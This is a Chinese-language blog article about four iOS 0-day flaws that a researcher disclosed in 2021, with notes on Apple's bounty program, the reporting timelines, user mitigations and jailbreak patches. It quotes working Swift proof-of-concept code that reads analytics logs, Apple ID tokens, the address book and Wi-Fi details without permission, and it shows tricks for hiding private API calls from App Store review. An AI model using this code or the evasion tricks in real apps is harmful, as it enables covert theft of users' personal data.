iOS15 安全漏洞分析：價值10萬美元的漏洞曝光

語言: CN / TW / HK
時間 2021-10-18 10:15:20

一、前言

大家好，今天我們一起來吃一個蘋果系統漏洞的大瓜！

事情是這樣的，9 月 24 號 Denis Tokarev 發表文章公開披露 4 個 0-day iOS 漏洞，吐槽蘋果沒有署名感謝，最關鍵是蘋果沒有給賞金！

以下是作者的資訊： * Twitter：Denis Tokarev * GitHub：illusionofchaos * 披露文章：Disclosure of three 0-day iOS vulnerabilities and critique of Apple Security Bounty program / Хабр

二、事件始末

從 Twitter 可知 illusionofchaos 為化名的研究人員真名是 Denis Tokarev（丹尼斯·託卡列夫），目前關於 Denis Tokarev 個人資料並不多，通過其使用俄語的網頁披露漏洞，猜測他是俄羅斯人。

作者稱在今年 3 月 10 日 ~ 5 月 4 日之間給蘋果報告了 4 個 0-day 漏洞，但到發文為止，只在 iOS 14.7 修復了一個，但蘋果在 iOS 14.7 安全性內容 更新頁面並沒有披露出來！當作者向蘋果(Apple Product Security)提出質疑時，他們承諾在下一次系統版本更新的頁面中列出，但此後的三次版本釋出都沒有列出。所以作者怒了！決定披露出來！才有了今天這個驚天動地的新聞(大瓜)!

0-day 漏洞

0day，zero-day vulnerability，0-day vulnerability，零日漏洞或零時差漏洞。

零日攻擊 指被發現後立即被惡意利用的安全漏洞。通俗地講，即安全補丁與瑕疵曝光的同一日內，相關的惡意程式就出現。由原軟體發行公司提供修補程式，但此法通常較慢，因此軟體公司通常會在最新的病毒程式碼中提供迴避已知零時差攻擊的功能，但無法徹底解決漏洞本身。這種攻擊往往具有很大的突發性與破壞性。

小編注：

iOS 14.7 釋出於 2021 年 7 月 19 日； 在作者發文後 2021年 10 月 11 日，蘋果釋出 iOS 15.0.2 ，又修復了一個漏洞。

接下來，我們先分析這 4 個漏洞的危害，然後在討論關於蘋果安全賞金計劃，最後，在一些探討一下關於 iOS 安全性。

iOS Analyticsd pre-14.7 exploit

漏洞在 iOS 14.7 已修復。

漏洞作用

允許任何使用者安裝的 app 訪問分析日誌（設定->隱私->分析和改進->分析資料 中的日誌），這些日誌包含(但不僅限於)：

  • 醫療資訊（心率、檢測到的心房顫動計數和心律不齊事件）
  • 月經週期長度、生理性別和年齡、使用者是否記錄性活動、宮頸粘液質量等。
  • 裝置使用資訊（不同情況下的裝置取貨、推送通知計數和使用者操作等）
  • 所有具有各自 bundle ID 的應用程式的螢幕使用時間資訊和會話計數
  • 有關裝置配件及其製造商、型號、韌體版本和使用者分配名稱的資訊
  • 應用程式崩潰時帶有 bundle ID 和異常程式碼
  • 使用者在 Safari 瀏覽器中檢視的網頁語言

漏洞說明

此漏洞是不需要任何許可權，app 就可以獲取分析日誌，而分析日誌是每個系統都會有，肯定會存在敏感的資訊。同時，作者表示即使在設定中關閉“共享分析”，所有這些資料仍在收集中。關於這點，小編沒有進行驗證，有興趣的朋友可以驗證一下。

此漏洞在 iOS 14.7 已經修復，所以，小編在 iOS 14.2 裝置上測試，其中有一組 MotionUsageMetrics 資料示例：

iOS-exploit-01.png

漏洞程式碼

漏洞攻擊示例原始碼：GitHub

swift func analyticsJson() -> String { let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) xpc_connection_set_event_handler(connection, { _ in }) xpc_connection_resume(connection) let xdict = xpc_dictionary_create(nil, nil, 0) xpc_dictionary_set_string(xdict, "command", "log-dump") let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) return String(cString: xpc_dictionary_get_string(reply, "log-dump")) }

XPC

這裡先解析一下 XPC ，XPC 是 macOS 和 iOS 當中一種基於 Mach 訊息的 IPC (程序間通訊) 技術, 它實現了許可權隔離, 使得 App Sandbox 更加完備。需要注意的是，在 iOS 上是私有 API。簡單來說，就是系統封裝了很多 XPC 服務，一個 XPC 提供了程序間通訊的服務，所有的 app 都可以訪問這個服務。詳細 API 功能和說明，可以參考以下連結：

漏洞分析

瞭解了 XPC 基本概念，上面的原始碼，大家應該能猜到一些了。就是通過蘋果系統的 XPC 服務 com.apple.analyticsd，因蘋果沒有驗證許可權，導致所有 app 都可以訪問這個 XPC 服務。

原始碼解讀： swift func analyticsJson() -> String { // 建議 com.apple.analyticsd 的 XPC 連線 let connection = xpc_connection_create_mach_service("com.apple.analyticsd", nil, 2) // 處理 connection 的各種事件 xpc_connection_set_event_handler(connection, { _ in }) // 必須呼叫 resume 方法來啟動 xpc_connection_resume(connection) // 建立一個XPC引數傳遞字典 let xdict = xpc_dictionary_create(nil, nil, 0) // 鍵是 command, 值是 log-dump xpc_dictionary_set_string(xdict, "command", "log-dump") // 傳送訊息 let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) // 讀取結果 return String(cString: xpc_dictionary_get_string(reply, "log-dump")) }

如果需要執行原始碼，需要注意，專案中的 c.c 程式碼檔案中 c 函式方法需要修改成這樣：

```c void * normal_function1(const char * arg1, int arg2) { return ((void ()(const char *, int))((long long)dlopen))(arg1, arg2); }

void * normal_function2(void * arg1, const char * arg2) { return ((void ()(void , const char ))((long long)dlsym))(arg1, arg2); }

```

報告時間表

  • 2021年4月29日：給蘋果傳送了一份詳細報告
  • 2021年4月30日：蘋果回覆說，他們已經審查了該報告並接受了調查
  • 2021年5月20日：求蘋果公司更新狀態（但沒有收到任何回覆）
  • 2021年5月30日：要求蘋果更新狀態
  • 2021年6月3日：蘋果回覆說，他們計劃在即將到來的更新中解決這個問題
  • 2021年7月19日：iOS 14.7 釋出並修復
  • 2021年7月20日：我已請求蘋果更新狀態
  • 2021 年7月21日：iOS 14.7 安全內容列表已釋出，未提及此漏洞 (http://support.apple.com/zh-cn/HT212601)
  • 2021年7月22日：問了蘋果一個問題，為什麼漏洞不在列表中
  • 同一天，我收到以下回復：由於處理問題，您的貢獻將在即將釋出的更新中包含在安全頁面中。對於給您帶來的不便，我們深表歉意。
  • 2021年7月26日：iOS 14.7.1 安全性內容列表已釋出，仍未提及此漏洞（http://support.apple.com/zh-cn/HT212623）
  • 2021年9月13日：iOS 14.8 安全內容列表已釋出，仍未提及此漏洞（http://support.apple.com/zh-cn/HT212807）同一天，我要求解釋，並告知蘋果，除非我很快收到回覆，否則我會公開我的所有研究。
  • 2021年9月20日：iOS 15.0 安全內容列表已釋出，仍未提及此漏洞（http://support.apple.com/zh-cn/HT212814）
  • 2021年9月24日：我仍然沒有收到任何回覆

從這長長的報告時間，沒有得到蘋果兌現承諾，可以感受到做出的貢獻卻沒有得到表揚，對於作者是一件痛苦的事件。

iOS gamed exploit (fixed in 15.0.2)

漏洞在 iOS 15.0.2 已修復。

漏洞作用

從 App Store 安裝的任何 app 都可以不需要使用者允許的情況下訪問以下資料：

  • Apple ID 電子郵件及其關聯的全名
  • Apple ID 身份驗證令牌，允許代表使用者訪問 *.apple.com 上的至少一個端點
  • 完整的檔案系統讀取對 Core Duet 資料庫的訪問許可權（包含來自郵件、簡訊、iMessage、第三方 app 轉發的聯絡人列表，以及所有使用者與這些聯絡人互動的元資料（包括時間戳和統計資料），以及一些附件（如URL和文字））
  • 完整的檔案系統讀取對 Speed Dial 資料庫和 Address Book(通訊錄) 資料庫的訪問，包括聯絡人頭像和其他元資料，如建立和修改日期（我剛剛在 iOS 15 上檢查過，這個無法訪問，所以最近肯定已經悄悄修復了）

漏洞說明

這個漏洞，不需要任何許可權，即可讀取 Core Duet、 Speed Dial 和 Address Book(通訊錄) 資料庫內容。而如果需要讀取使用者的 Apple ID 電子郵件，則需要在 設定 -> GameCenter 開啟時，才能讀取到。

執行示例：

iOS-exploit-02.png

漏洞程式碼

漏洞攻擊示例原始碼：GitHub

```swift let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)! let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol let pid = ProcessInfo.processInfo.processIdentifier proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, , , , , , , , utilityService, , , , _) in accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in let appleID = response.credential.accountName let token = response.credential.authenticationToken }

utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
    let addressBookData = data
}

} ```

漏洞分析

漏洞的根本原因是因為 XPC 服務 com.apple.gamed 未正確檢查 app 是否有 com.apple.developer.game-center 許可權導致。

1、即使在使用者裝置上禁用了 Game Center，呼叫 getServicesForPID:localPlayer:reply: 方法也會返回幾個 XPC 代理物件（GKAccountService、GKFriendService、GKUtilityService 等）。

2、如果在使用者裝置上啟用了 Game Center（即使它沒有在蘋果後臺 App Store Connect 中為 app 啟用此許可權，並且 app 中不包含 com.apple.developer.game-center 授權）。

  • 在 GKAccountService 上呼叫authenticatePlayerWithExistingCredentialsWithHandler: 會返回一個包含 Apple ID 的物件使用者、DSID 和 Game Center 身份驗證令牌（允許代表使用者向 http://gc.apple.com 傳送請求）。
  • 在 GKProfileService 上呼叫 getProfilesForPlayerIDs:handler: 會返回一個包含使用者 Apple ID 名字和姓氏的物件。
  • 在 GKFriendService 上呼叫 getFriendsForPlayer:handler: 返回一個物件，其中包含有關使用者在 Game Center 中的朋友的資訊。

3、即使裝置上 Game Center 被禁用，也沒有在蘋果後臺為 App Store Connect 中的 app 啟用此許可權，並且 app 不包含 com.apple.developer.game-center 授權。呼叫 GKUtilityService 的 requestImageDataForURL:subdirectory:fileName:handler: 允許在應用程式沙箱之外，讀取任意檔案通過將檔案 URL 傳遞給該方法。可以通過這種方式訪問的檔案（但不限於）如下：

  • /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist：包含設定中 “關於手機” 中的資訊。越獄裝置可以通過修改此檔案，實現修改裝置版本號、把日版美版等裝置修改為國行等。
  • /var/mobile/Library/CoreDuet/People/interactionC.db：包含來自郵件、簡訊、iMessage、第三方app 傳遞的聯絡人列表以及有關使用者與這些聯絡人互動的元資料（包括時間戳和統計資料）
  • /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist：包含個人收藏的聯絡人資訊及其電話號碼。
  • /var/mobile/Library/AddressBook/AddressBook.sqlitedb：包含完整的通訊錄資訊。
  • /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb：包含通訊錄聯絡人的頭像。

在 GKUtilityService 上呼叫 cacheImageData:inSubdirectory:withFileName:handler: 可能允許將任意資料寫入 app 沙箱之外的位置。

報告的時間線

2021年3月10日：向蘋果報告了漏洞 2021年3月10日：蘋果確認了我的報告 2021年5月20日：請求更新狀態（但沒有收到回覆） 2021年5月30日：再次請求更新狀態 2021年7月1日：蘋果回覆說他們仍在調查 2021年7月20日：再次請求狀態更新 2021年8月25日：蘋果回覆說，他們計劃在即將到來的更新中解決這個問題。

nehelper enumerate installed apps 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 還沒有修復。

漏洞作用

該漏洞允許任何使用者安裝的應用程式根據 bundle ID 確定裝置上是否安裝了任何應用程式。

漏洞說明

這個漏洞，不需要任何許可權，即可判斷裝置是否安裝了 app。

執行示例：

iOS-exploit-03.png

漏洞程式碼

漏洞攻擊示例原始碼：GitHub

swift func isAppInstalled(bundleId: String) -> Bool { let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)! xpc_connection_set_event_handler(connection, { _ in }) xpc_connection_resume(connection) let xdict = xpc_dictionary_create(nil, nil, 0) xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1) xpc_dictionary_set_uint64(xdict, "cache-command", 3) xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId) let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil { return true } return false }

漏洞分析

這個程式碼根據前面的解析，應該就可以讀懂啦。原理是 XPC 服務 com.apple.nehelper 有一個可以訪問任何應用的方法，該方法接受 bundle ID 作為引數，如果裝置上安裝了具有匹配 bundle ID 的應用，則返回包含一些快取 UUID 的陣列，否則返回空陣列。在 /usr/libexec/nehelper 的 -[NEHelperCacheManager onQueueHandleMessage:] 方法中執行。

報告的時間線

  • 2021年5月4日：向蘋果報告了漏洞
  • 2021年5月4日：蘋果確認了我的報告
  • 2021年5月20日：請求更新狀態（但沒有收到回覆）
  • 2021年7月20日：再次請求狀態更新
  • 2021年8月12日：蘋果回覆說，他們仍在調查

Nehelper Wifi Info 0-day (still works in 15.0.2)

漏洞在 iOS 15.0.2 還沒有修復。

漏洞作用

該漏洞允許有位置訪問許可權的 app 讀取當前裝置連線 Wi-Fi 的 SSID 和 BSSID 資訊。

漏洞說明

這個漏洞，需要 app 獲得精確位置的位置許可權後，即可獲取裝置當前連線 Wi-Fi 的 SSID 和 BSSID 資訊。

執行示例：

iOS-exploit-04.png

漏洞程式碼

漏洞攻擊示例原始碼：GitHub

swift func wifi_info() -> String? { let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2) xpc_connection_set_event_handler(connection, { _ in }) xpc_connection_resume(connection) let xdict = xpc_dictionary_create(nil, nil, 0) xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10) xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely xpc_dictionary_set_string(xdict, "interface-name", "en0") let reply = xpc_connection_send_message_with_reply_sync(connection, xdict) if let result = xpc_dictionary_get_value(reply, "result-data") { let ssid = String(cString: xpc_dictionary_get_string(result, "SSID")) let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID")) return "SSID: \(ssid)\nBSSID: \(bssid)" } else { return nil } }

漏洞分析

XPC 服務 com.apple.nehelper 接受使用者提供的引數 sdk-version，如果其值小於或等於 524288，則跳過 app com.apple.developer.networking.wifi-info 許可權的檢查。這使得任何符合條件的應用程式（例如，提供位置訪問許可權）都可以在沒有所需許可權的情況下訪問 Wifi 資訊。這在 /usr/libexec/nehelper 的 -[NEHelperWiFiInfoManager checkIfEntitled:] 方法中執行。

報告的時間線

  • 2021年5月2日：向蘋果報告了漏洞
  • 2021年5月4日：蘋果確認了我的報告
  • 2021年5月20日：請求更新狀態（但沒有收到回覆）
  • 2021年7月20日：再次請求狀態更新
  • 2021年8月6日：蘋果回覆說他們仍在調查

Apple 安全賞金計劃

Apple 安全賞金計劃 是蘋果獎勵分享關鍵安全問題的研究人員。

研究人員報告 iOS、iPadOS、macOS、Apple tvOS、watchOS 和 iCloud 上的問題，並可獲得最高 150 萬美元的獎金。此外，Apple 也會對提交有效報告的人員公開致謝。如果獲獎者捐獻獎金，Apple 還會捐贈等值款項給符合條件的慈善機構。

apple-security-bounty-payouts.png

作者認為 illusionofchaos/ios-gamed-0day: iOS gamed exploit (fixed in 15.0.2) 漏洞，根據蘋果 安全賞金計劃頁面，這個漏洞的評估為100,000美元（對通常受 TCC 提示保護或平臺沙箱保護的敏感資料的廣泛應用訪問。“敏感資料”訪問包括從聯絡人獲得廣泛訪問（即完整資料庫））。

小編注：TCC 提示保護(protected by a TCC prompt)，是 macOS 系統設定中的 “安全與隱私” 下的“隱私”選項卡中許可權的管理。

作者稱自己不是第一個對蘋果安全賞金計劃不滿意的人。以下是一些其他報告和意見：

  • http://therecord.media/researcher-discloses-iphone-lock-screen-bypass-on-ios-15-launch-day/
  • http://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/
  • http://medium.com/macoclock/apple-security-bounty-a-personal-experience-fe9a57a81943
  • http://thezerohack.com/apple-vulnerability-bug-bounty
  • http://www.imore.com/developer-feels-robbed-apples-security-bounty-program
  • http://gigazine.net/gsc_news/en/20200701-apple-security-bounty-program-tcc
  • http://zemnmez.medium.com/how-to-hack-apple-id-f3cc9b483a41
  • http://theevilbit.github.io/posts/experiences_with_asb/
  • http://twitter.com/5n1p3r0010/status/1395487939572867073
  • http://twitter.com/theevilbit/status/1417935753775132676
  • http://twitter.com/osxreverser/status/1417939529160351745

漏洞危害性

首先，從上面分析，危害最大的 XPC "com.apple.gamed" 漏洞，在 iOS 15.0.2 已經修復，但是在 15.0.1 以下的裝置，可以理解為不安全的裝置。所以，危害性不言而喻。

另外，作者說，關於上述漏洞程式碼能否進入 App Store 表示懷疑，因為蘋果有嚴格的機器和人工稽核。作者進行了反駁。

可以想象一下，某個同性戀可處以死刑的國家的政府，在 App Stor e中有一個官方應用程式，供大多數公民使用，並希望基於性取向針對人們。例如，可以通過檢查使用者的裝置上是否安裝了 Grindr 應用程式來做到這一點。政府可能會在自己的官方應用程式中隱藏惡意程式碼，向 App Store 傳送更新，蘋果將無法檢測到這一點。

大家都知道，App Store 上傳的包體會進行靜態分析，對照一組預定義的私有API 檢查二進位制檔案中的字串列表，但如果該 API 是 Objective-C 語言，可以通過 Objective-C 執行時動態呼叫它。

作者在公開的漏洞原始碼中，示例了動態呼叫蘋果認為是私人 API 的一部分 C 函式，以免被靜態分析檢測到。 示例程式碼：

swift let dylib = normal_function1(["/usr/lib/system/libxp", ".dylib"].joined(separator: "c"), 0) let normalFunction3 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_create_mach_service"].joined(separator: "c")), to: (@convention(c) (UnsafePointer<CChar>, DispatchQueue?, UInt64) -> (OpaquePointer)).self) let normalFunction4 = unsafeBitCast(normal_function2(dylib, ["xp", "_connection_set_event_handler"].joined(separator: "c")), to: (@convention(c) (OpaquePointer, @escaping (OpaquePointer) -> Void) -> Void).self)

其中 dlopen 和 dlsym 系統庫函式，它們允許載入動態庫並解析其中的符號。這些功能的使用可能會被 App Store 稽核團隊檢測到，但作者表示可以避免直接使用它們。因為每個 iOS 二進位制檔案都會有一個名為 dyld_stub_binder 的符號，它是從與 dlopen 和 dlsym 相同的庫中匯入的。這意味著我們可以找到 dyld_stub_binder 在記憶體中距離 dlopen 和 dlsym 的位置，並僅使用它們的地址來呼叫它們。因此我們將提前計算一個特定 iOS 版本和裝置型號的偏移量（參考原始碼中的 c.c 檔案）：

c printf("%lld\n",(long long)dyld_stub_binder - (long long)dlopen); printf("%lld\n",(long long)dyld_stub_binder - (long long)dlsym);

更復雜的惡意軟體可以避免使用預定義的偏移量，並使用這些函式的簽名動態查詢地址。 這裡就不展開了，有興趣的朋友可以瞭解一下 ffi。

當然，為了不被靜態分析檢測到，包含函式名稱的字串應該混淆。更多可以作者 文章。

漏洞修復

關於漏洞修復，正如前文說到的，如果你的系統版本低於 iOS 15.0.2，那麼關閉 Game Center、不要給“精確位置”許可權，儘可能升級到最新系統，可能是最優的方案。

當然，收到的未知連結、非 AppStore 安裝的 app，風險也非常的大，從上文就可以知道，不需要你的允許，你的資訊可能已經被偷偷拿到。當然，如果你認為只是一些基本資訊，那麼可能就大意了。假如系統有一個漏洞，可能拿到你簡訊 app 的驗證碼，那麼你手機號碼 + 驗證碼，這些潛在的風險意識，也許是我們當今每個智慧使用者，都要懂得的保護自己裝置，也是在保護自己的資訊財產安全。

4個漏洞，還有2個漏洞蘋果沒有修復，然後，有開發者在 reddit 表示自己開發了越獄版本的修復漏洞的外掛！

具體的外掛原始碼，可以在 rllbe/entitlementfix: Workaround for the 4 0-days 看到：

objc %hook GKAccountService -(void)authenticatePlayerWithExistingCredentialsWithHandler:(void(^)(GKAuthenticateResponse *, NSError *))handler { void (^_handler)(GKAuthenticateResponse *, NSError *) = ^(GKAuthenticateResponse *response, NSError *error) { if (response && ![[[self clientProxy] entitlements] hasEntitlements:[%c(GKAccountServicePrivate) requiredEntitlements]]) { response.credential = nil; response.passwordChangeURL = nil; } handler(response, error); }; %orig(_handler); } %end

這裡是修復了 "com.apple.gamed" 漏洞，增加了獲取資料前，驗證當前的程式碼物件是否有 XPC 服務的許可權。

這是修復了判斷是否安裝某個app的漏洞： c %hook NEHelperCacheManager -(void)onQueueHandleMessage:(xpc_object_t)xdict { if (xpc_dictionary_get_uint64(xdict, "cache-command") == 3uLL) { Class NEHelperServer = %c(NEHelperServer); if (![NEHelperServer verifyConnection:xpc_dictionary_get_remote_connection(xdict) hasEntitlement:"com.apple.private.nehelper.privileged"]) { [NEHelperServer sendReplyForMessage:xdict result:22LL data:0LL]; return; } } return %orig; } %end

修復 wifi 資訊漏洞： c %hook NEHelperWiFiInfoManager -(BOOL)checkIfEntitled:(NSUInteger)sdkVersion { NSUInteger _sdkVersion = sdkVersion <= 1 << 19 ? 1 << 19 : sdkVersion; return %orig(_sdkVersion); } %end

也許，這也是越獄的優點，本身是利用系統漏洞，最後又替系統修復了漏洞，也不需要升級系統才能修復。聽起來像個笑話~

總結

吃完瓜，相信有很多漏洞，沒有被披露出來！或者被某些人發現了！

關於蘋果有漏洞賞金計劃，小編這裡就不評論了，除了其它大企業都有類似的計劃，對於安全研究員，這本身是一個“雙贏”的計劃。但是大企業，往往走的標準化流程，所以，蘋果沒有迴應或沒有及時迴應的指控，其實從平時的蘋果響應慢也能感受到，當然，蘋果關於符合賞金計劃付費的稽核，可能是一個不透明的問題。這一切，導致了作者的公開了價值十萬美元的漏洞！

從這個事件，讓我們知道，安全的問題從來不是一件小事，而當用戶資訊洩漏時，可能跟使用者也有直接關係。iOS 安全的問題，從這4個漏洞就表明，只是冰山一角，iOS 安全性只是相對的，所以，從使用者角度，不要點選未知連結，不安裝未知app，儘量更新到最新系統，可能是更加安全。

參考引用

「」
「」